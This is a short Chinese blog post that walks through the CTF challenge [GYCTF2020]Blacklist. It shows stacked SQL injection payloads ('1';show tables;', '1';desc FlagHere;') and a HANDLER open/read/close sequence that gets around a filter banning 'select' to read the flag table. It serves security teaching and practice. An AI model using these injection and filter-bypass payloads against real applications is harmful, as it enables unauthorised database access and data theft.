一般来说简单的我们可以直接用bp抓一下包fuzz一下,看看哪些被ban了。
当然有一种把常规手段寄完了的,把select给ban了。
输了个select:
以 [GYCTF2020]Blacklist 为例:
首先1' order by n#查字段数吧,如果order by/Order by能用的话。
可以首先
1';show databases;
看库名:
然后用
1';show tables;
查看表名:
查看字段的手段--堆叠注入:
补充:
desc查看表结构的详细信息 desc table_name; PS:此处desc是describe的缩写,用法: desc 表名/查询语句 desc降序排列数据 select ename,sal from emp order by sal desc; 手动指定按照薪水由大到小排序(降序关键字desc) select ename,sal from emp order by sal asc; 手动指定按照薪水由小到大排序(升序关键字asc) PS:此处desc是descend的缩写,用法select * from 表 order by 字段 desc
使用
1';desc FlagHere;
查看到flag列。
select被ban了,但是HANDLER可以解决这个问题。
了解HANDLER语法可以绕过select限制。
使用:
1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;
获得flag。
标签:FlagHere,sal,黑名单,SQL,ban,order,select,desc From: https://www.cnblogs.com/EddieMurphy-blogs/p/17702375.html